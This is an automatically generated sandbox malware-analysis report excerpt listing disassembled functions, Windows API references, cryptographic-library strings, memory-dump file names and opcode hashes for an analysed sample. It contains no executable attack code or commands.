SafeArrayDestroy.OLEAUT32(?), ref: 6CF7AE86
SafeArrayDestroy.OLEAUT32(?), ref: 6CF7AE99
SafeArrayDestroy.OLEAUT32(?), ref: 6CF7AEAC
SafeArrayDestroy.OLEAUT32(?), ref: 6CF7AEBF

Memory Dump Source

Source File: 00000000.00000002.1662765517.000000006CF51000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000000.00000002.1662657072.000000006CF50000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663245604.000000006CFD4000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663399300.000000006CFEE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663433730.000000006CFF0000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663463710.000000006CFF1000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663500199.000000006CFF3000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFA000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663715558.000000006CFFE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf50000_file.jbxd

Similarity

API ID: ArraySafe$Destroy$Bound$Element
String ID:
API String ID: 757764206-0
Opcode ID: bcdff307bc673f83cf318251efb96b42cb5a95438488ffc64e9d5842fa96daf8
Instruction ID: 4b890f07b552f12f6d602256982f64faccebb610411ccf64e5c32787b540f89a
Opcode Fuzzy Hash: bcdff307bc673f83cf318251efb96b42cb5a95438488ffc64e9d5842fa96daf8
Instruction Fuzzy Hash: 67311971E016189FCB20DB69DC80B9EB7FAAF99304F25468AE419E7641C775ED80CF60

Function 6CF787EE Relevance: 9.1, APIs: 6, Instructions: 85COMMON

Download Yara Rule

APIs

Part of subcall function 6CF769C0: SafeArrayGetLBound.OLEAUT32(?,00000001,00000000), ref: 6CF76A08
Part of subcall function 6CF769C0: SafeArrayGetUBound.OLEAUT32(?,00000001,?), ref: 6CF76A15
Part of subcall function 6CF769C0: SafeArrayGetElement.OLEAUT32(?,?,?), ref: 6CF76A41

SafeArrayDestroy.OLEAUT32(?), ref: 6CF7AE63
SafeArrayDestroy.OLEAUT32(?), ref: 6CF7AE73
SafeArrayDestroy.OLEAUT32(?), ref: 6CF7AE86
SafeArrayDestroy.OLEAUT32(?), ref: 6CF7AE99
SafeArrayDestroy.OLEAUT32(?), ref: 6CF7AEAC
SafeArrayDestroy.OLEAUT32(?), ref: 6CF7AEBF

Memory Dump Source

Source File: 00000000.00000002.1662765517.000000006CF51000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000000.00000002.1662657072.000000006CF50000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663245604.000000006CFD4000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663399300.000000006CFEE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663433730.000000006CFF0000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663463710.000000006CFF1000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663500199.000000006CFF3000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFA000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663715558.000000006CFFE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf50000_file.jbxd

Similarity

API ID: ArraySafe$Destroy$Bound$Element
String ID:
API String ID: 757764206-0
Opcode ID: b128eac9fa9866dafcfd385e3282d965164f6124c6097c18759619df4dfae02c
Instruction ID: 622857847c3c196ec74c0c46a04a26f70020cae9bed8a6622a9c3d4ddf5d3741
Opcode Fuzzy Hash: b128eac9fa9866dafcfd385e3282d965164f6124c6097c18759619df4dfae02c
Instruction Fuzzy Hash: 70314A70E016189FCB20CB69DC80B9EB7FAAF95304F20468BE419E7641C775ED808F60

Function 6CF6FD3E Relevance: 9.1, APIs: 6, Instructions: 85COMMON

Download Yara Rule

APIs

Part of subcall function 6CF769C0: SafeArrayGetLBound.OLEAUT32(?,00000001,00000000), ref: 6CF76A08
Part of subcall function 6CF769C0: SafeArrayGetUBound.OLEAUT32(?,00000001,?), ref: 6CF76A15
Part of subcall function 6CF769C0: SafeArrayGetElement.OLEAUT32(?,?,?), ref: 6CF76A41

SafeArrayDestroy.OLEAUT32(?), ref: 6CF723B3
SafeArrayDestroy.OLEAUT32(?), ref: 6CF723C3
SafeArrayDestroy.OLEAUT32(?), ref: 6CF723D6
SafeArrayDestroy.OLEAUT32(?), ref: 6CF723E9
SafeArrayDestroy.OLEAUT32(?), ref: 6CF723FC
SafeArrayDestroy.OLEAUT32(?), ref: 6CF7240F

Memory Dump Source

Source File: 00000000.00000002.1662765517.000000006CF51000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000000.00000002.1662657072.000000006CF50000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663245604.000000006CFD4000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663399300.000000006CFEE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663433730.000000006CFF0000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663463710.000000006CFF1000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663500199.000000006CFF3000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFA000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663715558.000000006CFFE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf50000_file.jbxd

Similarity

API ID: ArraySafe$Destroy$Bound$Element
String ID:
API String ID: 757764206-0
Opcode ID: b128eac9fa9866dafcfd385e3282d965164f6124c6097c18759619df4dfae02c
Instruction ID: 813aee6ba15a9b14a21b6006e708fcbf82fc92f9a5eaf9756b6f03b015334741
Opcode Fuzzy Hash: b128eac9fa9866dafcfd385e3282d965164f6124c6097c18759619df4dfae02c
Instruction Fuzzy Hash: C5314B70E01618DBCB10CF69DC84B9DB7BAAF85304F30458AE418E7641CB729D808F60

Function 6CF6FF89 Relevance: 9.1, APIs: 6, Instructions: 85COMMON

Download Yara Rule

APIs

Part of subcall function 6CF769C0: SafeArrayGetLBound.OLEAUT32(?,00000001,00000000), ref: 6CF76A08
Part of subcall function 6CF769C0: SafeArrayGetUBound.OLEAUT32(?,00000001,?), ref: 6CF76A15
Part of subcall function 6CF769C0: SafeArrayGetElement.OLEAUT32(?,?,?), ref: 6CF76A41

SafeArrayDestroy.OLEAUT32(?), ref: 6CF723B3
SafeArrayDestroy.OLEAUT32(?), ref: 6CF723C3
SafeArrayDestroy.OLEAUT32(?), ref: 6CF723D6
SafeArrayDestroy.OLEAUT32(?), ref: 6CF723E9
SafeArrayDestroy.OLEAUT32(?), ref: 6CF723FC
SafeArrayDestroy.OLEAUT32(?), ref: 6CF7240F

Memory Dump Source

Source File: 00000000.00000002.1662765517.000000006CF51000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000000.00000002.1662657072.000000006CF50000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663245604.000000006CFD4000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663399300.000000006CFEE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663433730.000000006CFF0000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663463710.000000006CFF1000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663500199.000000006CFF3000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFA000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663715558.000000006CFFE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf50000_file.jbxd

Similarity

API ID: ArraySafe$Destroy$Bound$Element
String ID:
API String ID: 757764206-0
Opcode ID: bcdff307bc673f83cf318251efb96b42cb5a95438488ffc64e9d5842fa96daf8
Instruction ID: c4dabc1c0d28dc30921282589d5be16030c6a3516b011a81c8d240d1be9d558c
Opcode Fuzzy Hash: bcdff307bc673f83cf318251efb96b42cb5a95438488ffc64e9d5842fa96daf8
Instruction Fuzzy Hash: D6312F71E01618DFCB54CF69DC84B9DB7B9AF85304F20468AE419E7A41C7769D808F60

Function 6CFB06A0 Relevance: 9.1, APIs: 4, Strings: 1, Instructions: 328COMMON

Download Yara Rule

APIs

Part of subcall function 6CF54760: __CxxThrowException@8.LIBCMT ref: 6CF547F9

_memmove.LIBCMT ref: 6CFB0907
_memmove.LIBCMT ref: 6CFB0936
_memmove.LIBCMT ref: 6CFB0959
__CxxThrowException@8.LIBCMT ref: 6CFB0A25

Strings

PSSR_MEM: message recovery disabled, xrefs: 6CFB09E3

Memory Dump Source

Source File: 00000000.00000002.1662765517.000000006CF51000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000000.00000002.1662657072.000000006CF50000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663245604.000000006CFD4000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663399300.000000006CFEE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663433730.000000006CFF0000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663463710.000000006CFF1000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663500199.000000006CFF3000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFA000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663715558.000000006CFFE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf50000_file.jbxd

Similarity

API ID: _memmove$Exception@8Throw
String ID: PSSR_MEM: message recovery disabled
API String ID: 2655171816-3051149714
Opcode ID: c7b0c161bb23f47bbb0fe7c6b5c5410b0576556262e9483066ebd3ceebf64292
Instruction ID: 9f003b045fcfc282297cc8d5692e46594c9f866bd71178ce6704c7c19bb3099d
Opcode Fuzzy Hash: c7b0c161bb23f47bbb0fe7c6b5c5410b0576556262e9483066ebd3ceebf64292
Instruction Fuzzy Hash: A0C168B56093819FD714CF29C980B6BBBE5BFC9304F148A5CE58987385DB70E905CBA2

Function 6CFB7FE0 Relevance: 9.1, APIs: 1, Strings: 4, Instructions: 325COMMON

Download Yara Rule

APIs

Part of subcall function 6CF54010: std::_Xinvalid_argument.LIBCPMT ref: 6CF5402A

__CxxThrowException@8.LIBCMT ref: 6CFB80EA

Part of subcall function 6CFBAC75: RaiseException.KERNEL32(?,?,6CFB9C34,CA0C7769,?,?,?,?,6CFB9C34,CA0C7769,6CFE9C90,6CFFB974,CA0C7769), ref: 6CFBACB7

Strings

Min, xrefs: 6CFB83C5
RandomNumberType, xrefs: 6CFB83A9
invalid bit length, xrefs: 6CFB8044
Max, xrefs: 6CFB83E3

Memory Dump Source

Source File: 00000000.00000002.1662765517.000000006CF51000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000000.00000002.1662657072.000000006CF50000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663245604.000000006CFD4000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663399300.000000006CFEE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663433730.000000006CFF0000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663463710.000000006CFF1000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663500199.000000006CFF3000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFA000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663715558.000000006CFFE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf50000_file.jbxd

Similarity

API ID: ExceptionException@8RaiseThrowXinvalid_argumentstd::_
String ID: Max$Min$RandomNumberType$invalid bit length
API String ID: 3718517217-2498579642
Opcode ID: e43ece83b5d740d1a92fb8c6f77cd8cf4c98e6b19cd736f590ceb1c9d4c08775
Instruction ID: 38de2d547bc537ee4d269f8385e8cc50b5f60d004436a03a5fd89abb12b4275e
Opcode Fuzzy Hash: e43ece83b5d740d1a92fb8c6f77cd8cf4c98e6b19cd736f590ceb1c9d4c08775
Instruction Fuzzy Hash: 14C19D715097809BE324CB68C850BCFB7E5BFD9304F484A2DE599937A1DB74A908C7A3

Function 6CFBBE8E Relevance: 9.0, APIs: 6, Instructions: 49COMMONLIBRARYCODE

Download Yara Rule

APIs

__CreateFrameInfo.LIBCMT ref: 6CFBBEB6

Part of subcall function 6CFBAB70: __getptd.LIBCMT ref: 6CFBAB7E
Part of subcall function 6CFBAB70: __getptd.LIBCMT ref: 6CFBAB8C

__getptd.LIBCMT ref: 6CFBBEC0

Part of subcall function 6CFBEAE6: __getptd_noexit.LIBCMT ref: 6CFBEAE9
Part of subcall function 6CFBEAE6: __amsg_exit.LIBCMT ref: 6CFBEAF6

__getptd.LIBCMT ref: 6CFBBECE
__getptd.LIBCMT ref: 6CFBBEDC
__getptd.LIBCMT ref: 6CFBBEE7
_CallCatchBlock2.LIBCMT ref: 6CFBBF0D

Part of subcall function 6CFBAC15: __CallSettingFrame@12.LIBCMT ref: 6CFBAC61

Part of subcall function 6CFBBFB4: __getptd.LIBCMT ref: 6CFBBFC3
Part of subcall function 6CFBBFB4: __getptd.LIBCMT ref: 6CFBBFD1

Memory Dump Source

Source File: 00000000.00000002.1662765517.000000006CF51000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000000.00000002.1662657072.000000006CF50000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663245604.000000006CFD4000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663399300.000000006CFEE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663433730.000000006CFF0000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663463710.000000006CFF1000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663500199.000000006CFF3000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFA000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663715558.000000006CFFE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf50000_file.jbxd

Similarity

API ID: __getptd$Call$Block2CatchCreateFrameFrame@12InfoSetting__amsg_exit__getptd_noexit
String ID:
API String ID: 1602911419-0
Opcode ID: 2f0ca7170338d4d68f0079fd7e15c89089887ab8de1ce19a58d9a12dec6c11fb
Instruction ID: 39b8779326973c8f957e4e671a0da7cff375c2ceec820c2f0ab2efd8458ef872
Opcode Fuzzy Hash: 2f0ca7170338d4d68f0079fd7e15c89089887ab8de1ce19a58d9a12dec6c11fb
Instruction Fuzzy Hash: B511C6B1C00209DFDF14DFA5C944ADEBBB4FF08318F1084A9E854A7750EB389A599FA0

Function 062B0F14 Relevance: 9.0, Strings: 7, Instructions: 201COMMON

Download Yara Rule

Strings

p<^q, xrefs: 062B1177
HERE, xrefs: 062B0F6F
LOOK, xrefs: 062B0F6A
LOOK, xrefs: 062B1081
p<^q, xrefs: 062B112C
Gvq, xrefs: 062B1243
HERE, xrefs: 062B1086

Memory Dump Source

Source File: 00000000.00000002.1662165312.00000000062B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 062B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_62b0000_file.jbxd

Similarity

API ID:
String ID: HERE$HERE$LOOK$LOOK$p<^q$p<^q$Gvq
API String ID: 0-792669839
Opcode ID: 384f6783225b5e46874b683b076ec227274b065d52f799ea12ab8a1ab3b54d1b
Instruction ID: f7fc8b2f73bee156f05c1ff603eb55f1482880944bfa7f24306fcf6515cdbe92
Opcode Fuzzy Hash: 384f6783225b5e46874b683b076ec227274b065d52f799ea12ab8a1ab3b54d1b
Instruction Fuzzy Hash: 95A19274E10229CFDB68DF68C998BD9B7B1AB48310F1481E9D90DAB361DB709E81CF50

Function 6CF870E0 Relevance: 8.9, APIs: 2, Strings: 3, Instructions: 187COMMON

Download Yara Rule

APIs

__CxxThrowException@8.LIBCMT ref: 6CF87267

Strings

: IV length , xrefs: 6CF8719E, 6CF872D7
is less than the minimum of , xrefs: 6CF871D0
exceeds the maximum of , xrefs: 6CF87309

Memory Dump Source

Source File: 00000000.00000002.1662765517.000000006CF51000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000000.00000002.1662657072.000000006CF50000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663245604.000000006CFD4000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663399300.000000006CFEE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663433730.000000006CFF0000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663463710.000000006CFF1000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663500199.000000006CFF3000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFA000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663715558.000000006CFFE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf50000_file.jbxd

Similarity

API ID: Exception@8Throw
String ID: exceeds the maximum of $ is less than the minimum of $: IV length
API String ID: 2005118841-1273958906
Opcode ID: 5b412070b30c6eb1e15f465e7bf764a5b014aa8ad9f85b09e8bc7b580304020f
Instruction ID: a97b748993098d953f0dcc1c7e87269f8bbbf7585ded468d73fb6cc74d3d1ad4
Opcode Fuzzy Hash: 5b412070b30c6eb1e15f465e7bf764a5b014aa8ad9f85b09e8bc7b580304020f
Instruction Fuzzy Hash: EA6183B11083809FD321DB68C884FDFBBE8AF99344F154A1DE59D87741DB75A90887A2

Function 6CFAAE90 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 176COMMON

Download Yara Rule

APIs

type_info::operator!=.LIBCMT ref: 6CFAAF27
_strncmp.LIBCMT ref: 6CFAAFA6

Strings

ThisPointer:, xrefs: 6CFAAF4B, 6CFAAFA0
ValueNames, xrefs: 6CFAAEB7

Memory Dump Source

Source File: 00000000.00000002.1662765517.000000006CF51000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000000.00000002.1662657072.000000006CF50000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663245604.000000006CFD4000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663399300.000000006CFEE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663433730.000000006CFF0000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663463710.000000006CFF1000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663500199.000000006CFF3000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFA000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663715558.000000006CFFE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf50000_file.jbxd

Similarity

API ID: _strncmptype_info::operator!=
String ID: ThisPointer:$ValueNames
API String ID: 1333309372-2375088429
Opcode ID: 92cae47590771145ad213ce07f8a404ca9ba382de3f92f842712de726b8164ab
Instruction ID: 8ee552a01f9e6931f50a12e2af55c41ed6969b1c262e38258f9fc8f170978d16
Opcode Fuzzy Hash: 92cae47590771145ad213ce07f8a404ca9ba382de3f92f842712de726b8164ab
Instruction Fuzzy Hash: 6B51E771208744ABC314CFA6D890A67F7FAAF9934CF088A1DE4D58BB41C763E80E8751

Function 6CF8A360 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 176COMMON

Download Yara Rule

APIs

type_info::operator!=.LIBCMT ref: 6CF8A3F7
_strncmp.LIBCMT ref: 6CF8A476

Strings

ThisPointer:, xrefs: 6CF8A41B, 6CF8A470
ValueNames, xrefs: 6CF8A387

Memory Dump Source

Source File: 00000000.00000002.1662765517.000000006CF51000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000000.00000002.1662657072.000000006CF50000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663245604.000000006CFD4000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663399300.000000006CFEE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663433730.000000006CFF0000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663463710.000000006CFF1000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663500199.000000006CFF3000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFA000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663715558.000000006CFFE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf50000_file.jbxd

Similarity

API ID: _strncmptype_info::operator!=
String ID: ThisPointer:$ValueNames
API String ID: 1333309372-2375088429
Opcode ID: ddea369b093e9111d10abc991a74d6706b1a8de634217a4b62e1c5f0e605950e
Instruction ID: f71cb3fe9a425002e6c9b20ac59aa2bc143ff8e03e932251487b49fbc676a843
Opcode Fuzzy Hash: ddea369b093e9111d10abc991a74d6706b1a8de634217a4b62e1c5f0e605950e
Instruction Fuzzy Hash: 365103312093406BC3108F65D890A67BBFBEF9630CF088A1CE5D68BFD1C726E9098751

Function 6CFAB9B0 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 176COMMON

Download Yara Rule

APIs

type_info::operator!=.LIBCMT ref: 6CFABA47
_strncmp.LIBCMT ref: 6CFABAC6

Strings

ThisPointer:, xrefs: 6CFABA6B, 6CFABAC0
ValueNames, xrefs: 6CFAB9D7

Memory Dump Source

Source File: 00000000.00000002.1662765517.000000006CF51000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000000.00000002.1662657072.000000006CF50000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663245604.000000006CFD4000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663399300.000000006CFEE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663433730.000000006CFF0000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663463710.000000006CFF1000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663500199.000000006CFF3000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFA000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663715558.000000006CFFE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf50000_file.jbxd

Similarity

API ID: _strncmptype_info::operator!=
String ID: ThisPointer:$ValueNames
API String ID: 1333309372-2375088429
Opcode ID: cf8a393173986abdd46f48ae1f187477458aeb60e448346341fb2b3e6037fc09
Instruction ID: c2ff9966174970bb0c30ed6b6bafa257a0ccde214416386abd64577e9c227530
Opcode Fuzzy Hash: cf8a393173986abdd46f48ae1f187477458aeb60e448346341fb2b3e6037fc09
Instruction Fuzzy Hash: 4F51D6312083499BC3148FA9D890E67F7FAAF95758F044F1CE4D68BB41C722E90AC751

Function 6CF91B70 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 165COMMON

Download Yara Rule

APIs

__CxxThrowException@8.LIBCMT ref: 6CF91C1A

Part of subcall function 6CFBAC75: RaiseException.KERNEL32(?,?,6CFB9C34,CA0C7769,?,?,?,?,6CFB9C34,CA0C7769,6CFE9C90,6CFFB974,CA0C7769), ref: 6CFBACB7

__CxxThrowException@8.LIBCMT ref: 6CF91CDE
__CxxThrowException@8.LIBCMT ref: 6CF91D3E

Strings

TF_SignerBase: the recoverable message part is too long for the given key and algorithm, xrefs: 6CF91CF0
TF_SignerBase: this algorithm does not support messsage recovery or the key is too short, xrefs: 6CF91C67

Memory Dump Source

Source File: 00000000.00000002.1662765517.000000006CF51000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000000.00000002.1662657072.000000006CF50000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663245604.000000006CFD4000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663399300.000000006CFEE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663433730.000000006CFF0000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663463710.000000006CFF1000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663500199.000000006CFF3000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFA000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663715558.000000006CFFE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf50000_file.jbxd

Similarity

API ID: Exception@8Throw$ExceptionRaise
String ID: TF_SignerBase: the recoverable message part is too long for the given key and algorithm$TF_SignerBase: this algorithm does not support messsage recovery or the key is too short
API String ID: 3476068407-3371871069
Opcode ID: 17410ed7631239c4bc3763b5cdc50a2951888118b6a178e93ea312e38056269c
Instruction ID: 0bd9767e1ab5167b6b2a58459ae1e9fa19888cef04fa1d5e865d963d90695655
Opcode Fuzzy Hash: 17410ed7631239c4bc3763b5cdc50a2951888118b6a178e93ea312e38056269c
Instruction Fuzzy Hash: A25139752087409FD360DF68C880F9BB7E9BFC8704F108A1DE59997791DB71E9098BA2

Function 6CF54010 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 104COMMON

Download Yara Rule

APIs

std::_Xinvalid_argument.LIBCPMT ref: 6CF5402A

Part of subcall function 6CFB9125: std::exception::exception.LIBCMT ref: 6CFB913A
Part of subcall function 6CFB9125: __CxxThrowException@8.LIBCMT ref: 6CFB914F
Part of subcall function 6CFB9125: std::exception::exception.LIBCMT ref: 6CFB9160

std::_Xinvalid_argument.LIBCPMT ref: 6CF54067

Part of subcall function 6CFB90D8: std::exception::exception.LIBCMT ref: 6CFB90ED
Part of subcall function 6CFB90D8: __CxxThrowException@8.LIBCMT ref: 6CFB9102
Part of subcall function 6CFB90D8: std::exception::exception.LIBCMT ref: 6CFB9113

_memmove.LIBCMT ref: 6CF540C8

Strings

string too long, xrefs: 6CF54062
invalid string position, xrefs: 6CF54025

Memory Dump Source

Source File: 00000000.00000002.1662765517.000000006CF51000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000000.00000002.1662657072.000000006CF50000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663245604.000000006CFD4000.00000002.00000001.01000000.00000008.sdmpDownload File
